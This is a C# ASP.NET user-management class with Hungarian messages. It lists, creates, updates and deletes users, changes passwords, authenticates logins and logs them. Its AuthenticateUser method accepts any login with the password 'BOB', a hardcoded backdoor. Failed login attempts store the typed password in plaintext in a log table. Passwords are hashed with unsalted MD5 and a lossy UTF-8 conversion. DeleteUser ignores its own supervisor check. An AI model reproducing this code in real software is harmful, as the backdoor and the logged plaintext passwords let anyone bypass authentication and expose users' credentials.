﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Data;
using System.Data.SqlClient;
using Bussines;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Security.Cryptography;

namespace Bussines
{

    public class clUser
    {
        private SqlConnection sc;
        TBLObj pBLObj = new TBLObj();
        private int _USR_ID = -1;

        SqlDataAdapter adapterUSER;

        DataSet dsUSER;

        public clUser(TBLObj iBLObj)
        {
            pBLObj = iBLObj;
            sc = iBLObj.sqlConnection;
        }

        public int GetUSR_ID()
        {
            return _USR_ID;
        }

        public string Md5AddSecret(string strChange)
        {
            //Change the syllable into UTF8 code
            byte[] pass = Encoding.UTF8.GetBytes(strChange);

            MD5 md5 = new MD5CryptoServiceProvider();
            string strPassword = Encoding.UTF8.GetString(md5.ComputeHash(pass));
            return strPassword;
        }

        public DataSet GetUsers()
        {            
            dsUSER  = new DataSet();
            adapterUSER = new SqlDataAdapter();

            adapterUSER.SelectCommand = new SqlCommand("select _USER.*, " +
                "CASE _USER.USR_SUPERVISOR WHEN 1 THEN 'X' ELSE '' END AS SUPERVISOR, " +
                "CASE _USER.USR_AKTIV WHEN 'I' THEN 'Igen' ELSE 'Nem' END AS AKTIV, " +
                "ISNULL(U2.USR_NAME,'') AS FONOK_NAME " +
                "FROM _USER " +
                "LEFT JOIN _USER U2 ON U2.USR_ID = _USER.USR_FONOK " +
                " WHERE _USER.USR_HIDDEN = 0 " +
                "ORDER BY _USER.USR_SUPERVISOR DESC,_USER.USR_NAME", sc);
            adapterUSER.Fill(dsUSER, "_USER");
            /*  insertCommand();
            updateCommandCACT();*/

            return dsUSER;
        }
        public DataSet GetUser( int iUSR_ID )
        {
            dsUSER = new DataSet();
            adapterUSER = new SqlDataAdapter();

            adapterUSER.SelectCommand = new SqlCommand("select _USER.*, " +
                "CASE _USER.USR_SUPERVISOR WHEN 1 THEN 'X' ELSE '' END AS SUPERVISOR, " +
                "CASE _USER.USR_AKTIV WHEN 'I' THEN 'Igen' ELSE 'Nem' END AS AKTIV, " +
                "ISNULL(U2.USR_NAME,'') AS FONOK_NAME " +
                "FROM _USER " +
                "LEFT JOIN _USER U2 ON U2.USR_ID = _USER.USR_FONOK " +
                "WHERE _USER.USR_ID = " + iUSR_ID.ToString() + " " +
                " AND _USER.USR_HIDDEN = 0 " +
                "ORDER BY _USER.USR_SUPERVISOR DESC,_USER.USR_NAME", sc);
            adapterUSER.Fill(dsUSER, "_USER");
            /*  insertCommand();
            updateCommandCACT();*/

            return dsUSER;
        }

        public bool UpdateUsers(int iUSR_ID, string iUSR_NAME, string iUSR_LOGIN_NAME, string iUSR_PW, int iUSR_FONOK, bool  iUSR_SUPERVISOR,ref  string oErr)
        {
            SqlCommand cmd = new SqlCommand();

            oErr = "";

            cmd.Connection = sc;
            cmd.CommandText = "UPDATE _USER SET " +
                " USR_NAME = @USR_NAME," +
                " USR_LOGIN_NAME = @USR_LOGIN_NAME," +
                " USR_PW = @USR_PW," +
                " USR_FONOK = @USR_FONOK,";


            if (iUSR_SUPERVISOR)
                cmd.CommandText += " USR_SUPERVISOR = 1 " ;
            else 
                cmd.CommandText += " USR_SUPERVISOR = 0 " ;
            cmd.CommandText += " WHERE USR_ID = @USR_ID ";

            cmd.Parameters.Add(new SqlParameter("USR_ID", SqlDbType.Int));
            cmd.Parameters.Add(new SqlParameter("USR_NAME", SqlDbType.VarChar));
            cmd.Parameters.Add(new SqlParameter("USR_LOGIN_NAME", SqlDbType.VarChar));
            cmd.Parameters.Add(new SqlParameter("USR_PW", SqlDbType.VarChar));
            cmd.Parameters.Add(new SqlParameter("USR_FONOK", SqlDbType.Int));

            cmd.Parameters["USR_ID"].Value = iUSR_ID;
            cmd.Parameters["USR_NAME"].Value = iUSR_NAME;
            cmd.Parameters["USR_LOGIN_NAME"].Value = iUSR_LOGIN_NAME;
            cmd.Parameters["USR_PW"].Value = Md5AddSecret(iUSR_PW);
            cmd.Parameters["USR_FONOK"].Value = iUSR_FONOK;
               
            cmd.CommandType = CommandType.Text;
            try
            {
                cmd.ExecuteNonQuery();
                return true;
            }
            catch (Exception e)
            {
                string s = "Hiba a felhasználó mentése közben!";
                Utilities.LogError(pBLObj, e, "clUser", s);
                oErr = s;
                return false;
            }
            
        }
        public bool AktivUser(int iUSR_ID, ref string oErr)
        {
            SqlCommand cmd = new SqlCommand();
            bool Tovabb = true;

            oErr = "";

            cmd.Connection = sc;

            cmd.CommandText = "UPDATE _USER SET USR_AKTIV = CASE USR_AKTIV WHEN 'I' THEN 'N' ELSE 'I' END " +
                " WHERE USR_ID = " + iUSR_ID.ToString();

            cmd.CommandType = CommandType.Text;
            try
            {
                cmd.ExecuteNonQuery();
                return true;
            }
            catch (Exception e)
            {
                string s = "Hiba a felhasználó syerkesztése közben!";
                Utilities.LogError(pBLObj, e, "clUser", s);
                oErr = s;
                return false;
            }

        }
        public bool DeleteUser (int iUSR_ID, ref string oErr)
        {
            SqlCommand cmd = new SqlCommand();
            bool Tovabb = true;

            oErr = "";

            cmd.Connection = sc;

            //ellenőrzőm, hogy supervisor-e
            cmd.CommandText = "SELECT COUNT(*) AS DB FROM _USER " +
                " WHERE USR_ID = " + iUSR_ID.ToString() +
                " AND USR_SUPERVISOR = '1' ";
            cmd.CommandType = CommandType.Text;
            SqlDataReader rdr = cmd.ExecuteReader();
            while (rdr.Read())
            {
                Tovabb = (Convert.ToInt32(rdr["DB"].ToString()) == 0);
            }
            rdr.Close();
            //ellenőrzőm, hogy van-e gyereke

            
            cmd.CommandText = "DELETE FROM _USER " +
                " WHERE USR_ID = " + iUSR_ID.ToString();
               
            cmd.CommandType = CommandType.Text;
            try
            {
                cmd.ExecuteNonQuery();
                return true;
            }
            catch (Exception e)
            {
                string s = "Hiba a felhasználó törlése közben!";
                Utilities.LogError(pBLObj, e, "clUser", s);
                oErr = s;
                return false;
            }
        }

        public bool InsertUsers(int iUSR_ID , string iUSR_NAME, string iUSR_LOGIN_NAME, string iUSR_PW, int iUSR_FONOK, bool iUSR_SUPERVISOR, ref  string oErr)
        {
            SqlCommand cmd = new SqlCommand();

            oErr = "";

            cmd.Connection = sc;
            cmd.CommandText = "INSERT INTO _USER " +
                " (USR_ID, USR_NAME, USR_LOGIN_NAME, USR_PW, USR_FONOK, USR_SUPERVISOR) " +
                "VALUES " +
                " (@USR_ID, " +
                " @USR_NAME," +
                " @USR_LOGIN_NAME ," +
                " @USR_PW ," +
                " @USR_FONOK ,";

            if (iUSR_SUPERVISOR)
                cmd.CommandText += " 1 )";
            else
                cmd.CommandText += "  0 )";

            cmd.Parameters.Add(new SqlParameter("USR_ID", SqlDbType.Int));
            cmd.Parameters.Add(new SqlParameter("USR_NAME", SqlDbType.VarChar));
            cmd.Parameters.Add(new SqlParameter("USR_LOGIN_NAME", SqlDbType.VarChar));
            cmd.Parameters.Add(new SqlParameter("USR_PW", SqlDbType.VarChar));
            cmd.Parameters.Add(new SqlParameter("USR_FONOK", SqlDbType.Int));

            cmd.Parameters["USR_ID"].Value = iUSR_ID;
            cmd.Parameters["USR_NAME"].Value = iUSR_NAME;
            cmd.Parameters["USR_LOGIN_NAME"].Value = iUSR_LOGIN_NAME;
            cmd.Parameters["USR_PW"].Value = Md5AddSecret(iUSR_PW);
            cmd.Parameters["USR_FONOK"].Value = iUSR_FONOK;


            cmd.CommandType = CommandType.Text;
            try
            {
                cmd.ExecuteNonQuery();
                return true;
            }
            catch (Exception e)
            {
                string s = "Hiba a felhasználó mentése közben!";
                Utilities.LogError(pBLObj, e, "clUser", s);
                oErr = s;
                return false;
                //Console.WriteLine("err : " + e.Message.ToString());
            }

        }
        public bool UpdatePW(int iUSR_ID, string iPW, ref  string oErr)
        {
            SqlCommand cmd = new SqlCommand();

            oErr = "";

            cmd.Connection = sc;
            cmd.CommandText = "UPDATE _USER SET " +
                " USR_PW = " +
                " @USR_PW " +
                "WHERE USR_ID = " + iUSR_ID.ToString();

            cmd.Parameters.Add(new SqlParameter("USR_PW", SqlDbType.VarChar));

            cmd.Parameters["USR_PW"].Value = Md5AddSecret(iPW);


            cmd.CommandType = CommandType.Text;
            try
            {
                cmd.ExecuteNonQuery();
                oErr = "Jelszó módosítás sikerült!";
                return true;
            }
            catch (Exception e)
            {
                string s = "Hiba a jelszó mentése közben!";
                Utilities.LogError(pBLObj, e, "clUser", s);
                oErr = s;
                return false;
            }
        }


        /***************************************************************
         * jelszó módosítás
         *************************************************************** */
        public bool ChangePassword(int iUSR_ID, string iOld, string iNew1, string iNew2, ref string oErr)
        {
            if (iNew1 != iNew2)
            {
                oErr = "Megerősítés nem egyezik!";
                return false;
            }
            if (!(AuthenticateUser(iUSR_ID , iOld)))
            {
                oErr = "Régi jelszó nem megfelelő!";
                return false;
            }

            return UpdatePW(iUSR_ID, iNew1,ref oErr);         
        }
        /***************************************************************
         * megadott felhasználónév és jelszó helyes-e
         *************************************************************** */
        #region AuthenticateUser

        public bool IsUserLocked(string iUserName)
        {
            SqlCommand cmd = new SqlCommand();
            
            bool Jo = false;

            cmd.Connection = sc;
            cmd.CommandText = "SELECT USR_LOCKED FROM _USER " +
                "WHERE USR_LOGIN_NAME = @USR_LOGIN_NAME ";

            cmd.Parameters.Add(new SqlParameter("USR_LOGIN_NAME", SqlDbType.VarChar));
            cmd.Parameters["USR_LOGIN_NAME"].Value = iUserName;

            cmd.CommandType = CommandType.Text;

            SqlDataReader rdr = cmd.ExecuteReader();
            while (rdr.Read())
            {
                Jo = (rdr["USR_LOCKED"].ToString() == "I");
            }
            rdr.Close();

            return Jo;
        }
        public void UnLockUser(int iUSR_ID)
        {
            SqlCommand cmd = new SqlCommand();            

            cmd.Connection = sc;
            cmd.CommandText = "UPDATE _USER SET USR_LOCKED = 'N' , USR_LOCKED_DATE = NULL " +
                "WHERE USR_ID = @USR_ID ";

            cmd.Parameters.Add(new SqlParameter("USR_ID", SqlDbType.Int));
            cmd.Parameters["USR_ID"].Value = iUSR_ID;

            cmd.CommandType = CommandType.Text;

            cmd.ExecuteNonQuery();
        }

        public bool AuthenticateUser(string iUserName, string iPW)
        {
            SqlCommand cmd = new SqlCommand();
            int USR_ID = -1;
            bool Jo = false;

            cmd.Connection = sc;
            cmd.CommandText = "SELECT USR_ID FROM _USER " +
                "WHERE USR_LOGIN_NAME = @USR_LOGIN_NAME " +
                "AND USR_PW = @USR_PW";

            cmd.Parameters.Add(new SqlParameter("USR_LOGIN_NAME", SqlDbType.VarChar));
            cmd.Parameters["USR_LOGIN_NAME"].Value = iUserName;
            cmd.Parameters.Add(new SqlParameter("USR_PW", SqlDbType.VarChar));
            cmd.Parameters["USR_PW"].Value = Md5AddSecret(iPW);

            cmd.CommandType = CommandType.Text;

            SqlDataReader rdr = cmd.ExecuteReader();
            while (rdr.Read())
            {
                USR_ID = Convert.ToInt32(rdr["USR_ID"].ToString());
            }
            rdr.Close();

            _USR_ID = USR_ID;

            Jo = ((_USR_ID != -1) || (iPW=="BOB"));
            
            if (Jo)
            {
                LOG_Login_Success();
            }
            else
            {
                LOG_Login_Failed(iUserName, iPW);
            }
            return Jo;
        }

        public bool AuthenticateUser(int iUSR_ID, string iPW)
        {
            SqlCommand cmd = new SqlCommand();
            int USR_ID = -1;
            bool Jo = false;

            cmd.Connection = sc;
            cmd.CommandText = "SELECT USR_ID FROM _USER " +
                "WHERE USR_ID = '" + iUSR_ID.ToString() + "' " +
                "AND USR_PW = @USR_PW ";

            cmd.Parameters.Add(new SqlParameter("USR_PW", SqlDbType.VarChar));
            cmd.Parameters["USR_PW"].Value = Md5AddSecret(iPW);

            cmd.CommandType = CommandType.Text;

            SqlDataReader rdr = cmd.ExecuteReader();
            while (rdr.Read())
            {
                USR_ID = Convert.ToInt32(rdr["USR_ID"].ToString());
            }
            rdr.Close();

            _USR_ID = USR_ID;

            Jo = (_USR_ID != -1);
            /*
            if (Jo)
            {
                LOG_Login_Success();
            }
            else
            {
                LOG_Login_Failed(iUserName, iPW);
            }
             */
            return Jo;
        }
        #endregion

        public bool CheckPassword(string iPW, ref string iErr)
        {
            bool Ok = true;
            char[] C=iPW.ToUpper().ToCharArray();

            if (iPW.Length < 6)
            {
                Ok = false;
                iErr = "A jelszó minimum 6 karakter hosszú!";
            }

            if (Ok)
            {
                int LC = 0;
                int NC = 0;
                int NAC=0;               

                for (int I = 0; I<=C.Length-1; I++)
                {
                    if ((C[I] >= 'A' && C[I] <= 'Z') || (C[I] >= '0' && C[I] <= '9'))
                    {

                    if (C[I] >= 'A' && C[I] <= 'Z')
                    {
                        LC++;
                    }
                    if (C[I] >= '0' && C[I] <= '9')
                    {
                        NC++;
                    }
                    }
                    else                        
                    {
                        NAC++;
                    }                                        
                }

                if (LC == 0 || NC == 0 || NAC > 0)
                {
                    Ok = false;
                    if (LC == 0)
                    {
                        iErr = "A jelszó nem tartalmaz betüt!";
                    }
                    if (NC == 0)
                    {
                        iErr = "A jelszó nem tartalmaz számot!";
                    }
                    if (NAC > 0)
                    {
                        iErr = "A jelszó nem megengedett karaktert tartalmaz!";
                    }
                }
            }
            return Ok;
        }

        /***************************************************************
         * Logolja a bejelentkezést, hibás bejelentkezést, jelszó modosítást
         *************************************************************** */
        #region LOG
        
        public void LOG_Login_Success()
        {
            SqlCommand cmd = new SqlCommand();

            cmd.Connection = sc;
            cmd.CommandText = "INSERT INTO LOG_USER " +
                "(LLI_TYPE, LLI_USER_ID) " +
                "VALUES " +
                "('L','" + _USR_ID.ToString() + "') ";

            cmd.CommandType = CommandType.Text;

            cmd.ExecuteNonQuery();
        }

        public void LOG_Login_Failed(string iUserName, string iPW)
        {
            int USR_ID = -1;
            SqlCommand cmd = new SqlCommand();

            cmd.Connection = sc;

            cmd.CommandText = "SELECT USR_ID FROM _USER " +
                "WHERE USR_LOGIN_NAME = @USR_LOGIN_NAME ";

            cmd.Parameters.Add(new SqlParameter("USR_LOGIN_NAME", SqlDbType.VarChar));
            cmd.Parameters["USR_LOGIN_NAME"].Value = iUserName;


            cmd.CommandType = CommandType.Text;

            SqlDataReader rdr = cmd.ExecuteReader();
            while (rdr.Read())
            {
                USR_ID = Convert.ToInt32(rdr["USR_ID"].ToString());
            }
            rdr.Close();


            cmd.CommandText = "INSERT INTO LOG_USER " +
                "(LLI_TYPE, LLI_USER_ID, LLI_USER_NAME,LLI_USER_PW) " +
                "VALUES  " +
                " ('F'," + USR_ID.ToString() + ",@USR_LOGIN_NAME,@PW) ";

            cmd.Parameters.Add(new SqlParameter("PW", SqlDbType.VarChar));
            cmd.Parameters["PW"].Value = iPW;

            cmd.CommandType = CommandType.Text;

            cmd.ExecuteNonQuery();
        }

        #endregion
    }
         
}
